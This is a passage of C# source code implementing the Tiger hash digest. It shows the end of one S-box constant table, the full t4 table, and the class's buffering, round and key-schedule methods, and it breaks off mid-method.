0x8C7976282DEE8199L)   /*  633 */,\n            unchecked((long) 0x5D1737A5DD1F7ABDL)   /*  634 */,    unchecked((long) 0x4F53433C09A9FA80L)   /*  635 */,\n            unchecked((long) 0xFA8B0C53DF7CA1D9L)   /*  636 */,    unchecked((long) 0x3FD9DCBC886CCB77L)   /*  637 */,\n            unchecked((long) 0xC040917CA91B4720L)   /*  638 */,    unchecked((long) 0x7DD00142F9D1DCDFL)   /*  639 */,\n            unchecked((long) 0x8476FC1D4F387B58L)   /*  640 */,    unchecked((long) 0x23F8E7C5F3316503L)   /*  641 */,\n            unchecked((long) 0x032A2244E7E37339L)   /*  642 */,    unchecked((long) 0x5C87A5D750F5A74BL)   /*  643 */,\n            unchecked((long) 0x082B4CC43698992EL)   /*  644 */,    unchecked((long) 0xDF917BECB858F63CL)   /*  645 */,\n            unchecked((long) 0x3270B8FC5BF86DDAL)   /*  646 */,    unchecked((long) 0x10AE72BB29B5DD76L)   /*  647 */,\n            unchecked((long) 0x576AC94E7700362BL)   /*  648 */,    unchecked((long) 0x1AD112DAC61EFB8FL)   /*  649 */,\n            unchecked((long) 0x691BC30EC5FAA427L)   /*  650 */,    unchecked((long) 0xFF246311CC327143L)   /*  651 */,\n            unchecked((long) 0x3142368E30E53206L)   /*  652 */,    unchecked((long) 0x71380E31E02CA396L)   /*  653 */,\n            unchecked((long) 0x958D5C960AAD76F1L)   /*  654 */,    unchecked((long) 0xF8D6F430C16DA536L)   /*  655 */,\n            unchecked((long) 0xC8FFD13F1BE7E1D2L)   /*  656 */,    unchecked((long) 0x7578AE66004DDBE1L)   /*  657 */,\n            unchecked((long) 0x05833F01067BE646L)   /*  658 */,    unchecked((long) 0xBB34B5AD3BFE586DL)   /*  659 */,\n            unchecked((long) 0x095F34C9A12B97F0L)   /*  660 */,    unchecked((long) 0x247AB64525D60CA8L)   /*  661 */,\n            unchecked((long) 0xDCDBC6F3017477D1L)   /*  662 */,    unchecked((long) 0x4A2E14D4DECAD24DL)   /*  663 */,\n            unchecked((long) 0xBDB5E6D9BE0A1EEBL)   /*  664 */,    unchecked((long) 0x2A7E70F7794301ABL)   /*  665 */,\n            unchecked((long) 0xDEF42D8A270540FDL)   /*  666 */,    unchecked((long) 0x01078EC0A34C22C1L)   /*  667 */,\n            unchecked((long) 0xE5DE511AF4C16387L)   /*  668 */,    unchecked((long) 0x7EBB3A52BD9A330AL)   /*  669 */,\n            unchecked((long) 0x77697857AA7D6435L)   /*  670 */,    unchecked((long) 0x004E831603AE4C32L)   /*  671 */,\n            unchecked((long) 0xE7A21020AD78E312L)   /*  672 */,    unchecked((long) 0x9D41A70C6AB420F2L)   /*  673 */,\n            unchecked((long) 0x28E06C18EA1141E6L)   /*  674 */,    unchecked((long) 0xD2B28CBD984F6B28L)   /*  675 */,\n            unchecked((long) 0x26B75F6C446E9D83L)   /*  676 */,    unchecked((long) 0xBA47568C4D418D7FL)   /*  677 */,\n            unchecked((long) 0xD80BADBFE6183D8EL)   /*  678 */,    unchecked((long) 0x0E206D7F5F166044L)   /*  679 */,\n            unchecked((long) 0xE258A43911CBCA3EL)   /*  680 */,    unchecked((long) 0x723A1746B21DC0BCL)   /*  681 */,\n            unchecked((long) 0xC7CAA854F5D7CDD3L)   /*  682 */,    unchecked((long) 0x7CAC32883D261D9CL)   /*  683 */,\n            unchecked((long) 0x7690C26423BA942CL)   /*  684 */,    unchecked((long) 0x17E55524478042B8L)   /*  685 */,\n            unchecked((long) 0xE0BE477656A2389FL)   /*  686 */,    unchecked((long) 0x4D289B5E67AB2DA0L)   /*  687 */,\n            unchecked((long) 0x44862B9C8FBBFD31L)   /*  688 */,    unchecked((long) 0xB47CC8049D141365L)   /*  689 */,\n            unchecked((long) 0x822C1B362B91C793L)   /*  690 */,    unchecked((long) 0x4EB14655FB13DFD8L)   /*  691 */,\n            unchecked((long) 0x1ECBBA0714E2A97BL)   /*  692 */,    unchecked((long) 0x6143459D5CDE5F14L)   /*  693 */,\n            unchecked((long) 0x53A8FBF1D5F0AC89L)   /*  694 */,    unchecked((long) 0x97EA04D81C5E5B00L)   /*  695 */,\n            unchecked((long) 0x622181A8D4FDB3F3L)   /*  696 */,    unchecked((long) 0xE9BCD341572A1208L)   /*  697 */,\n            unchecked((long) 0x1411258643CCE58AL)   /*  698 */,    unchecked((long) 0x9144C5FEA4C6E0A4L)   /*  699 */,\n            unchecked((long) 0x0D33D06565CF620FL)   /*  700 */,    unchecked((long) 0x54A48D489F219CA1L)   /*  701 */,\n            unchecked((long) 0xC43E5EAC6D63C821L)   /*  702 */,    unchecked((long) 0xA9728B3A72770DAFL)   /*  703 */,\n            unchecked((long) 0xD7934E7B20DF87EFL)   /*  704 */,    unchecked((long) 0xE35503B61A3E86E5L)   /*  705 */,\n            unchecked((long) 0xCAE321FBC819D504L)   /*  706 */,    unchecked((long) 0x129A50B3AC60BFA6L)   /*  707 */,\n            unchecked((long) 0xCD5E68EA7E9FB6C3L)   /*  708 */,    unchecked((long) 0xB01C90199483B1C7L)   /*  709 */,\n            unchecked((long) 0x3DE93CD5C295376CL)   /*  710 */,    unchecked((long) 0xAED52EDF2AB9AD13L)   /*  711 */,\n            unchecked((long) 0x2E60F512C0A07884L)   /*  712 */,    unchecked((long) 0xBC3D86A3E36210C9L)   /*  713 */,\n            unchecked((long) 0x35269D9B163951CEL)   /*  714 */,    unchecked((long) 0x0C7D6E2AD0CDB5FAL)   /*  715 */,\n            unchecked((long) 0x59E86297D87F5733L)   /*  716 */,    unchecked((long) 0x298EF221898DB0E7L)   /*  717 */,\n            unchecked((long) 0x55000029D1A5AA7EL)   /*  718 */,    unchecked((long) 0x8BC08AE1B5061B45L)   /*  719 */,\n            unchecked((long) 0xC2C31C2B6C92703AL)   /*  720 */,    unchecked((long) 0x94CC596BAF25EF42L)   /*  721 */,\n            unchecked((long) 0x0A1D73DB22540456L)   /*  722 */,    unchecked((long) 0x04B6A0F9D9C4179AL)   /*  723 */,\n            unchecked((long) 0xEFFDAFA2AE3D3C60L)   /*  724 */,    unchecked((long) 0xF7C8075BB49496C4L)   /*  725 */,\n            unchecked((long) 0x9CC5C7141D1CD4E3L)   /*  726 */,    unchecked((long) 0x78BD1638218E5534L)   /*  727 */,\n            unchecked((long) 0xB2F11568F850246AL)   /*  728 */,    unchecked((long) 0xEDFABCFA9502BC29L)   /*  729 */,\n            unchecked((long) 0x796CE5F2DA23051BL)   /*  730 */,    unchecked((long) 0xAAE128B0DC93537CL)   /*  731 */,\n            unchecked((long) 0x3A493DA0EE4B29AEL)   /*  732 */,    unchecked((long) 0xB5DF6B2C416895D7L)   /*  733 */,\n            unchecked((long) 0xFCABBD25122D7F37L)   /*  734 */,    unchecked((long) 0x70810B58105DC4B1L)   /*  735 */,\n            unchecked((long) 0xE10FDD37F7882A90L)   /*  736 */,    unchecked((long) 0x524DCAB5518A3F5CL)   /*  737 */,\n            unchecked((long) 0x3C9E85878451255BL)   /*  738 */,    unchecked((long) 0x4029828119BD34E2L)   /*  739 */,\n            unchecked((long) 0x74A05B6F5D3CECCBL)   /*  740 */,    unchecked((long) 0xB610021542E13ECAL)   /*  741 */,\n            unchecked((long) 0x0FF979D12F59E2ACL)   /*  742 */,    unchecked((long) 0x6037DA27E4F9CC50L)   /*  743 */,\n            unchecked((long) 0x5E92975A0DF1847DL)   /*  744 */,    unchecked((long) 0xD66DE190D3E623FEL)   /*  745 */,\n            unchecked((long) 0x5032D6B87B568048L)   /*  746 */,    unchecked((long) 0x9A36B7CE8235216EL)   /*  747 */,\n            unchecked((long) 0x80272A7A24F64B4AL)   /*  748 */,    unchecked((long) 0x93EFED8B8C6916F7L)   /*  749 */,\n            unchecked((long) 0x37DDBFF44CCE1555L)   /*  750 */,    unchecked((long) 0x4B95DB5D4B99BD25L)   /*  751 */,\n            unchecked((long) 0x92D3FDA169812FC0L)   /*  752 */,    unchecked((long) 0xFB1A4A9A90660BB6L)   /*  753 */,\n            unchecked((long) 0x730C196946A4B9B2L)   /*  754 */,    unchecked((long) 0x81E289AA7F49DA68L)   /*  755 */,\n            unchecked((long) 0x64669A0F83B1A05FL)   /*  756 */,    unchecked((long) 0x27B3FF7D9644F48BL)   /*  757 */,\n            unchecked((long) 0xCC6B615C8DB675B3L)   /*  758 */,    unchecked((long) 0x674F20B9BCEBBE95L)   /*  759 */,\n            unchecked((long) 0x6F31238275655982L)   /*  760 */,    unchecked((long) 0x5AE488713E45CF05L)   /*  761 */,\n            unchecked((long) 0xBF619F9954C21157L)   /*  762 */,    unchecked((long) 0xEABAC46040A8EAE9L)   /*  763 */,\n            unchecked((long) 0x454C6FE9F2C0C1CDL)   /*  764 */,    unchecked((long) 0x419CF6496412691CL)   /*  765 */,\n            unchecked((long) 0xD3DC3BEF265B0F70L)   /*  766 */,    unchecked((long) 0x6D0E60F5C3578A9EL)   /*  767 */,\n        };\n\n        private static readonly long[] t4 = {\n            unchecked((long) 0x5B0E608526323C55L)   /*  768 */,    unchecked((long) 0x1A46C1A9FA1B59F5L)   /*  769 */,\n            unchecked((long) 0xA9E245A17C4C8FFAL)   /*  770 */,    unchecked((long) 0x65CA5159DB2955D7L)   /*  771 */,\n            unchecked((long) 0x05DB0A76CE35AFC2L)   /*  772 */,    unchecked((long) 0x81EAC77EA9113D45L)   /*  773 */,\n            unchecked((long) 0x528EF88AB6AC0A0DL)   /*  774 */,    unchecked((long) 0xA09EA253597BE3FFL)   /*  775 */,\n            unchecked((long) 0x430DDFB3AC48CD56L)   /*  776 */,    unchecked((long) 0xC4B3A67AF45CE46FL)   /*  777 */,\n            unchecked((long) 0x4ECECFD8FBE2D05EL)   /*  778 */,    unchecked((long) 0x3EF56F10B39935F0L)   /*  779 */,\n            unchecked((long) 0x0B22D6829CD619C6L)   /*  780 */,    unchecked((long) 0x17FD460A74DF2069L)   /*  781 */,\n            unchecked((long) 0x6CF8CC8E8510ED40L)   /*  782 */,    unchecked((long) 0xD6C824BF3A6ECAA7L)   /*  783 */,\n            unchecked((long) 0x61243D581A817049L)   /*  784 */,    unchecked((long) 0x048BACB6BBC163A2L)   /*  785 */,\n            unchecked((long) 0xD9A38AC27D44CC32L)   /*  786 */,    unchecked((long) 0x7FDDFF5BAAF410ABL)   /*  787 */,\n            unchecked((long) 0xAD6D495AA804824BL)   /*  788 */,    unchecked((long) 0xE1A6A74F2D8C9F94L)   /*  789 */,\n            unchecked((long) 0xD4F7851235DEE8E3L)   /*  790 */,    unchecked((long) 0xFD4B7F886540D893L)   /*  791 */,\n            unchecked((long) 0x247C20042AA4BFDAL)   /*  792 */,    unchecked((long) 0x096EA1C517D1327CL)   /*  793 */,\n            unchecked((long) 0xD56966B4361A6685L)   /*  794 */,    unchecked((long) 0x277DA5C31221057DL)   /*  795 */,\n            unchecked((long) 0x94D59893A43ACFF7L)   /*  796 */,    unchecked((long) 0x64F0C51CCDC02281L)   /*  797 */,\n            unchecked((long) 0x3D33BCC4FF6189DBL)   /*  798 */,    unchecked((long) 0xE005CB184CE66AF1L)   /*  799 */,\n            unchecked((long) 0xFF5CCD1D1DB99BEAL)   /*  800 */,    unchecked((long) 0xB0B854A7FE42980FL)   /*  801 */,\n            unchecked((long) 0x7BD46A6A718D4B9FL)   /*  802 */,    unchecked((long) 0xD10FA8CC22A5FD8CL)   /*  803 */,\n            unchecked((long) 0xD31484952BE4BD31L)   /*  804 */,    unchecked((long) 0xC7FA975FCB243847L)   /*  805 */,\n            unchecked((long) 0x4886ED1E5846C407L)   /*  806 */,    unchecked((long) 0x28CDDB791EB70B04L)   /*  807 */,\n            unchecked((long) 0xC2B00BE2F573417FL)   /*  808 */,    unchecked((long) 0x5C9590452180F877L)   /*  809 */,\n            unchecked((long) 0x7A6BDDFFF370EB00L)   /*  810 */,    unchecked((long) 0xCE509E38D6D9D6A4L)   /*  811 */,\n            unchecked((long) 0xEBEB0F00647FA702L)   /*  812 */,    unchecked((long) 0x1DCC06CF76606F06L)   /*  813 */,\n            unchecked((long) 0xE4D9F28BA286FF0AL)   /*  814 */,    unchecked((long) 0xD85A305DC918C262L)   /*  815 */,\n            unchecked((long) 0x475B1D8732225F54L)   /*  816 */,    unchecked((long) 0x2D4FB51668CCB5FEL)   /*  817 */,\n            unchecked((long) 0xA679B9D9D72BBA20L)   /*  818 */,    unchecked((long) 0x53841C0D912D43A5L)   /*  819 */,\n            unchecked((long) 0x3B7EAA48BF12A4E8L)   /*  820 */,    unchecked((long) 0x781E0E47F22F1DDFL)   /*  821 */,\n            unchecked((long) 0xEFF20CE60AB50973L)   /*  822 */,    unchecked((long) 0x20D261D19DFFB742L)   /*  823 */,\n            unchecked((long) 0x16A12B03062A2E39L)   /*  824 */,    unchecked((long) 0x1960EB2239650495L)   /*  825 */,\n            unchecked((long) 0x251C16FED50EB8B8L)   /*  826 */,    unchecked((long) 0x9AC0C330F826016EL)   /*  827 */,\n            unchecked((long) 0xED152665953E7671L)   /*  828 */,    unchecked((long) 0x02D63194A6369570L)   /*  829 */,\n            unchecked((long) 0x5074F08394B1C987L)   /*  830 */,    unchecked((long) 0x70BA598C90B25CE1L)   /*  831 */,\n            unchecked((long) 0x794A15810B9742F6L)   /*  832 */,    unchecked((long) 0x0D5925E9FCAF8C6CL)   /*  833 */,\n            unchecked((long) 0x3067716CD868744EL)   /*  834 */,    unchecked((long) 0x910AB077E8D7731BL)   /*  835 */,\n            unchecked((long) 0x6A61BBDB5AC42F61L)   /*  836 */,    unchecked((long) 0x93513EFBF0851567L)   /*  837 */,\n            unchecked((long) 0xF494724B9E83E9D5L)   /*  838 */,    unchecked((long) 0xE887E1985C09648DL)   /*  839 */,\n            unchecked((long) 0x34B1D3C675370CFDL)   /*  840 */,    unchecked((long) 0xDC35E433BC0D255DL)   /*  841 */,\n            unchecked((long) 0xD0AAB84234131BE0L)   /*  842 */,    unchecked((long) 0x08042A50B48B7EAFL)   /*  843 */,\n            unchecked((long) 0x9997C4EE44A3AB35L)   /*  844 */,    unchecked((long) 0x829A7B49201799D0L)   /*  845 */,\n            unchecked((long) 0x263B8307B7C54441L)   /*  846 */,    unchecked((long) 0x752F95F4FD6A6CA6L)   /*  847 */,\n            unchecked((long) 0x927217402C08C6E5L)   /*  848 */,    unchecked((long) 0x2A8AB754A795D9EEL)   /*  849 */,\n            unchecked((long) 0xA442F7552F72943DL)   /*  850 */,    unchecked((long) 0x2C31334E19781208L)   /*  851 */,\n            unchecked((long) 0x4FA98D7CEAEE6291L)   /*  852 */,    unchecked((long) 0x55C3862F665DB309L)   /*  853 */,\n            unchecked((long) 0xBD0610175D53B1F3L)   /*  854 */,    unchecked((long) 0x46FE6CB840413F27L)   /*  855 */,\n            unchecked((long) 0x3FE03792DF0CFA59L)   /*  856 */,    unchecked((long) 0xCFE700372EB85E8FL)   /*  857 */,\n            unchecked((long) 0xA7BE29E7ADBCE118L)   /*  858 */,    unchecked((long) 0xE544EE5CDE8431DDL)   /*  859 */,\n            unchecked((long) 0x8A781B1B41F1873EL)   /*  860 */,    unchecked((long) 0xA5C94C78A0D2F0E7L)   /*  861 */,\n            unchecked((long) 0x39412E2877B60728L)   /*  862 */,    unchecked((long) 0xA1265EF3AFC9A62CL)   /*  863 */,\n            unchecked((long) 0xBCC2770C6A2506C5L)   /*  864 */,    unchecked((long) 0x3AB66DD5DCE1CE12L)   /*  865 */,\n            unchecked((long) 0xE65499D04A675B37L)   /*  866 */,    unchecked((long) 0x7D8F523481BFD216L)   /*  867 */,\n            unchecked((long) 0x0F6F64FCEC15F389L)   /*  868 */,    unchecked((long) 0x74EFBE618B5B13C8L)   /*  869 */,\n            unchecked((long) 0xACDC82B714273E1DL)   /*  870 */,    unchecked((long) 0xDD40BFE003199D17L)   /*  871 */,\n            unchecked((long) 0x37E99257E7E061F8L)   /*  872 */,    unchecked((long) 0xFA52626904775AAAL)   /*  873 */,\n            unchecked((long) 0x8BBBF63A463D56F9L)   /*  874 */,    unchecked((long) 0xF0013F1543A26E64L)   /*  875 */,\n            unchecked((long) 0xA8307E9F879EC898L)   /*  876 */,    unchecked((long) 0xCC4C27A4150177CCL)   /*  877 */,\n            unchecked((long) 0x1B432F2CCA1D3348L)   /*  878 */,    unchecked((long) 0xDE1D1F8F9F6FA013L)   /*  879 */,\n            unchecked((long) 0x606602A047A7DDD6L)   /*  880 */,    unchecked((long) 0xD237AB64CC1CB2C7L)   /*  881 */,\n            unchecked((long) 0x9B938E7225FCD1D3L)   /*  882 */,    unchecked((long) 0xEC4E03708E0FF476L)   /*  883 */,\n            unchecked((long) 0xFEB2FBDA3D03C12DL)   /*  884 */,    unchecked((long) 0xAE0BCED2EE43889AL)   /*  885 */,\n            unchecked((long) 0x22CB8923EBFB4F43L)   /*  886 */,    unchecked((long) 0x69360D013CF7396DL)   /*  887 */,\n            unchecked((long) 0x855E3602D2D4E022L)   /*  888 */,    unchecked((long) 0x073805BAD01F784CL)   /*  889 */,\n            unchecked((long) 0x33E17A133852F546L)   /*  890 */,    unchecked((long) 0xDF4874058AC7B638L)   /*  891 */,\n            unchecked((long) 0xBA92B29C678AA14AL)   /*  892 */,    unchecked((long) 0x0CE89FC76CFAADCDL)   /*  893 */,\n            unchecked((long) 0x5F9D4E0908339E34L)   /*  894 */,    unchecked((long) 0xF1AFE9291F5923B9L)   /*  895 */,\n            unchecked((long) 0x6E3480F60F4A265FL)   /*  896 */,    unchecked((long) 0xEEBF3A2AB29B841CL)   /*  897 */,\n            unchecked((long) 0xE21938A88F91B4ADL)   /*  898 */,    unchecked((long) 0x57DFEFF845C6D3C3L)   /*  899 */,\n            unchecked((long) 0x2F006B0BF62CAAF2L)   /*  900 */,    unchecked((long) 0x62F479EF6F75EE78L)   /*  901 */,\n            unchecked((long) 0x11A55AD41C8916A9L)   /*  902 */,    unchecked((long) 0xF229D29084FED453L)   /*  903 */,\n            unchecked((long) 0x42F1C27B16B000E6L)   /*  904 */,    unchecked((long) 0x2B1F76749823C074L)   /*  905 */,\n            unchecked((long) 0x4B76ECA3C2745360L)   /*  906 */,    unchecked((long) 0x8C98F463B91691BDL)   /*  907 */,\n            unchecked((long) 0x14BCC93CF1ADE66AL)   /*  908 */,    unchecked((long) 0x8885213E6D458397L)   /*  909 */,\n            unchecked((long) 0x8E177DF0274D4711L)   /*  910 */,    unchecked((long) 0xB49B73B5503F2951L)   /*  911 */,\n            unchecked((long) 0x10168168C3F96B6BL)   /*  912 */,    unchecked((long) 0x0E3D963B63CAB0AEL)   /*  913 */,\n            unchecked((long) 0x8DFC4B5655A1DB14L)   /*  914 */,    unchecked((long) 0xF789F1356E14DE5CL)   /*  915 */,\n            unchecked((long) 0x683E68AF4E51DAC1L)   /*  916 */,    unchecked((long) 0xC9A84F9D8D4B0FD9L)   /*  917 */,\n            unchecked((long) 0x3691E03F52A0F9D1L)   /*  918 */,    unchecked((long) 0x5ED86E46E1878E80L)   /*  919 */,\n            unchecked((long) 0x3C711A0E99D07150L)   /*  920 */,    unchecked((long) 0x5A0865B20C4E9310L)   /*  921 */,\n            unchecked((long) 0x56FBFC1FE4F0682EL)   /*  922 */,    unchecked((long) 0xEA8D5DE3105EDF9BL)   /*  923 */,\n            unchecked((long) 0x71ABFDB12379187AL)   /*  924 */,    unchecked((long) 0x2EB99DE1BEE77B9CL)   /*  925 */,\n            unchecked((long) 0x21ECC0EA33CF4523L)   /*  926 */,    unchecked((long) 0x59A4D7521805C7A1L)   /*  927 */,\n            unchecked((long) 0x3896F5EB56AE7C72L)   /*  928 */,    unchecked((long) 0xAA638F3DB18F75DCL)   /*  929 */,\n            unchecked((long) 0x9F39358DABE9808EL)   /*  930 */,    unchecked((long) 0xB7DEFA91C00B72ACL)   /*  931 */,\n            unchecked((long) 0x6B5541FD62492D92L)   /*  932 */,    unchecked((long) 0x6DC6DEE8F92E4D5BL)   /*  933 */,\n            unchecked((long) 0x353F57ABC4BEEA7EL)   /*  934 */,    unchecked((long) 0x735769D6DA5690CEL)   /*  935 */,\n            unchecked((long) 0x0A234AA642391484L)   /*  936 */,    unchecked((long) 0xF6F9508028F80D9DL)   /*  937 */,\n            unchecked((long) 0xB8E319A27AB3F215L)   /*  938 */,    unchecked((long) 0x31AD9C1151341A4DL)   /*  939 */,\n            unchecked((long) 0x773C22A57BEF5805L)   /*  940 */,    unchecked((long) 0x45C7561A07968633L)   /*  941 */,\n            unchecked((long) 0xF913DA9E249DBE36L)   /*  942 */,    unchecked((long) 0xDA652D9B78A64C68L)   /*  943 */,\n            unchecked((long) 0x4C27A97F3BC334EFL)   /*  944 */,    unchecked((long) 0x76621220E66B17F4L)   /*  945 */,\n            unchecked((long) 0x967743899ACD7D0BL)   /*  946 */,    unchecked((long) 0xF3EE5BCAE0ED6782L)   /*  947 */,\n            unchecked((long) 0x409F753600C879FCL)   /*  948 */,    unchecked((long) 0x06D09A39B5926DB6L)   /*  949 */,\n            unchecked((long) 0x6F83AEB0317AC588L)   /*  950 */,    unchecked((long) 0x01E6CA4A86381F21L)   /*  951 */,\n            unchecked((long) 0x66FF3462D19F3025L)   /*  952 */,    unchecked((long) 0x72207C24DDFD3BFBL)   /*  953 */,\n            unchecked((long) 0x4AF6B6D3E2ECE2EBL)   /*  954 */,    unchecked((long) 0x9C994DBEC7EA08DEL)   /*  955 */,\n            unchecked((long) 0x49ACE597B09A8BC4L)   /*  956 */,    unchecked((long) 0xB38C4766CF0797BAL)   /*  957 */,\n            unchecked((long) 0x131B9373C57C2A75L)   /*  958 */,    unchecked((long) 0xB1822CCE61931E58L)   /*  959 */,\n            unchecked((long) 0x9D7555B909BA1C0CL)   /*  960 */,    unchecked((long) 0x127FAFDD937D11D2L)   /*  961 */,\n            unchecked((long) 0x29DA3BADC66D92E4L)   /*  962 */,    unchecked((long) 0xA2C1D57154C2ECBCL)   /*  963 */,\n            unchecked((long) 0x58C5134D82F6FE24L)   /*  964 */,    unchecked((long) 0x1C3AE3515B62274FL)   /*  965 */,\n            unchecked((long) 0xE907C82E01CB8126L)   /*  966 */,    unchecked((long) 0xF8ED091913E37FCBL)   /*  967 */,\n            unchecked((long) 0x3249D8F9C80046C9L)   /*  968 */,    unchecked((long) 0x80CF9BEDE388FB63L)   /*  969 */,\n            unchecked((long) 0x1881539A116CF19EL)   /*  970 */,    unchecked((long) 0x5103F3F76BD52457L)   /*  971 */,\n            unchecked((long) 0x15B7E6F5AE47F7A8L)   /*  972 */,    unchecked((long) 0xDBD7C6DED47E9CCFL)   /*  973 */,\n            unchecked((long) 0x44E55C410228BB1AL)   /*  974 */,    unchecked((long) 0xB647D4255EDB4E99L)   /*  975 */,\n            unchecked((long) 0x5D11882BB8AAFC30L)   /*  976 */,    unchecked((long) 0xF5098BBB29D3212AL)   /*  977 */,\n            unchecked((long) 0x8FB5EA14E90296B3L)   /*  978 */,    unchecked((long) 0x677B942157DD025AL)   /*  979 */,\n            unchecked((long) 0xFB58E7C0A390ACB5L)   /*  980 */,    unchecked((long) 0x89D3674C83BD4A01L)   /*  981 */,\n            unchecked((long) 0x9E2DA4DF4BF3B93BL)   /*  982 */,    unchecked((long) 0xFCC41E328CAB4829L)   /*  983 */,\n            unchecked((long) 0x03F38C96BA582C52L)   /*  984 */,    unchecked((long) 0xCAD1BDBD7FD85DB2L)   /*  985 */,\n            unchecked((long) 0xBBB442C16082AE83L)   /*  986 */,    unchecked((long) 0xB95FE86BA5DA9AB0L)   /*  987 */,\n            unchecked((long) 0xB22E04673771A93FL)   /*  988 */,    unchecked((long) 0x845358C9493152D8L)   /*  989 */,\n            unchecked((long) 0xBE2A488697B4541EL)   /*  990 */,    unchecked((long) 0x95A2DC2DD38E6966L)   /*  991 */,\n            unchecked((long) 0xC02C11AC923C852BL)   /*  992 */,    unchecked((long) 0x2388B1990DF2A87BL)   /*  993 */,\n            unchecked((long) 0x7C8008FA1B4F37BEL)   /*  994 */,    unchecked((long) 0x1F70D0C84D54E503L)   /*  995 */,\n            unchecked((long) 0x5490ADEC7ECE57D4L)   /*  996 */,    unchecked((long) 0x002B3C27D9063A3AL)   /*  997 */,\n            unchecked((long) 0x7EAEA3848030A2BFL)   /*  998 */,    unchecked((long) 0xC602326DED2003C0L)   /*  999 */,\n            unchecked((long) 0x83A7287D69A94086L)   /* 1000 */,    unchecked((long) 0xC57A5FCB30F57A8AL)   /* 1001 */,\n            unchecked((long) 0xB56844E479EBE779L)   /* 1002 */,    unchecked((long) 0xA373B40F05DCBCE9L)   /* 1003 */,\n            unchecked((long) 0xD71A786E88570EE2L)   /* 1004 */,    unchecked((long) 0x879CBACDBDE8F6A0L)   /* 1005 */,\n            unchecked((long) 0x976AD1BCC164A32FL)   /* 1006 */,    unchecked((long) 0xAB21E25E9666D78BL)   /* 1007 */,\n            unchecked((long) 0x901063AAE5E5C33CL)   /* 1008 */,    unchecked((long) 0x9818B34448698D90L)   /* 1009 */,\n            unchecked((long) 0xE36487AE3E1E8ABBL)   /* 1010 */,    unchecked((long) 0xAFBDF931893BDCB4L)   /* 1011 */,\n            unchecked((long) 0x6345A0DC5FBBD519L)   /* 1012 */,    unchecked((long) 0x8628FE269B9465CAL)   /* 1013 */,\n            unchecked((long) 0x1E5D01603F9C51ECL)   /* 1014 */,    unchecked((long) 0x4DE44006A15049B7L)   /* 1015 */,\n            unchecked((long) 0xBF6C70E5F776CBB1L)   /* 1016 */,    unchecked((long) 0x411218F2EF552BEDL)   /* 1017 */,\n            unchecked((long) 0xCB0C0708705A36A3L)   /* 1018 */,    unchecked((long) 0xE74D14754F986044L)   /* 1019 */,\n            unchecked((long) 0xCD56D9430EA8280EL)   /* 1020 */,    unchecked((long) 0xC12591D7535F5065L)   /* 1021 */,\n            unchecked((long) 0xC83223F1720AEF96L)   /* 1022 */,    unchecked((long) 0xC3A0396F7363A51FL)   /* 1023 */\n        };\n\n        private const int    DigestLength = 24;\n\n        //\n        // registers\n        //\n        private long    a, b, c;\n        private long    byteCount;\n\n        //\n        // buffers\n        //\n        private byte[]  Buffer = new byte[8];\n        private int     bOff;\n\n        private long[]  x = new long[8];\n        private int     xOff;\n\n        /**\n        * Standard constructor\n        */\n        public TigerDigest()\n        {\n            Reset();\n        }\n\n        /**\n        * Copy constructor.  This will copy the state of the provided\n        * message digest.\n        */\n        public TigerDigest(TigerDigest t)\n        {\n\t\t\tReset(t);\n        }\n\n\t\tpublic string AlgorithmName\n\t\t{\n\t\t\tget { return \"Tiger\"; }\n\t\t}\n\n\t\tpublic int GetDigestSize()\n\t\t{\n\t\t\treturn DigestLength;\n\t\t}\n\n\t\tpublic int GetByteLength()\n\t\t{\n\t\t\treturn MyByteLength;\n\t\t}\n\n\t\tprivate void ProcessWord(\n            byte[]  b,\n            int     off)\n        {\n            x[xOff++] =   ((long)(b[off + 7] & 0xff) << 56)\n                        | ((long)(b[off + 6] & 0xff) << 48)\n                        | ((long)(b[off + 5] & 0xff) << 40)\n                        | ((long)(b[off + 4] & 0xff) << 32)\n                        | ((long)(b[off + 3] & 0xff) << 24)\n                        | ((long)(b[off + 2] & 0xff) << 16)\n                        | ((long)(b[off + 1] & 0xff) << 8)\n                        | ((uint)(b[off + 0] & 0xff));\n\n            if (xOff == x.Length)\n            {\n                ProcessBlock();\n            }\n\n            bOff = 0;\n        }\n\n        public void Update(\n            byte input)\n        {\n            Buffer[bOff++] = input;\n\n            if (bOff == Buffer.Length)\n            {\n                ProcessWord(Buffer, 0);\n            }\n\n            byteCount++;\n        }\n\n        public void BlockUpdate(\n            byte[]  input,\n            int     inOff,\n            int     length)\n        {\n            //\n            // fill the current word\n            //\n            while ((bOff != 0) && (length > 0))\n            {\n                Update(input[inOff]);\n\n                inOff++;\n                length--;\n            }\n\n            //\n            // process whole words.\n            //\n            while (length > 8)\n            {\n                ProcessWord(input, inOff);\n\n                inOff += 8;\n                length -= 8;\n                byteCount += 8;\n            }\n\n            //\n            // load in the remainder.\n            //\n            while (length > 0)\n            {\n                Update(input[inOff]);\n\n                inOff++;\n                length--;\n            }\n        }\n\n        private void RoundABC(\n            long    x,\n            long    mul)\n        {\n            c ^= x ;\n            a -= t1[(int)c & 0xff] ^ t2[(int)(c >> 16) & 0xff]\n                    ^ t3[(int)(c >> 32) & 0xff] ^ t4[(int)(c >> 48) & 0xff];\n            b += t4[(int)(c >> 8) & 0xff] ^ t3[(int)(c >> 24) & 0xff]\n                    ^ t2[(int)(c >> 40) & 0xff] ^ t1[(int)(c >> 56) & 0xff];\n            b *= mul;\n        }\n\n        private void RoundBCA(\n            long    x,\n            long    mul)\n        {\n            a ^= x ;\n            b -= t1[(int)a & 0xff] ^ t2[(int)(a >> 16) & 0xff]\n                    ^ t3[(int)(a >> 32) & 0xff] ^ t4[(int)(a >> 48) & 0xff];\n            c += t4[(int)(a >> 8) & 0xff] ^ t3[(int)(a >> 24) & 0xff]\n                    ^ t2[(int)(a >> 40) & 0xff] ^ t1[(int)(a >> 56) & 0xff];\n            c *= mul;\n        }\n\n        private void RoundCAB(\n            long    x,\n            long    mul)\n        {\n            b ^= x ;\n            c -= t1[(int)b & 0xff] ^ t2[(int)(b >> 16) & 0xff]\n                    ^ t3[(int)(b >> 32) & 0xff] ^ t4[(int)(b >> 48) & 0xff];\n            a += t4[(int)(b >> 8) & 0xff] ^ t3[(int)(b >> 24) & 0xff]\n                    ^ t2[(int)(b >> 40) & 0xff] ^ t1[(int)(b >> 56) & 0xff];\n            a *= mul;\n        }\n\n        private void KeySchedule()\n        {\n            x[0] -= x[7] ^ unchecked ((long) 0xA5A5A5A5A5A5A5A5L);\n            x[1] ^= x[0];\n            x[2] += x[1];\n            x[3] -= x[2] ^ ((~x[1]) << 19);\n            x[4] ^= x[3];\n            x[5] += x[4];\n            x[6] -= x[5] ^ (long) ((ulong) (~x[4]) >> 23);\n            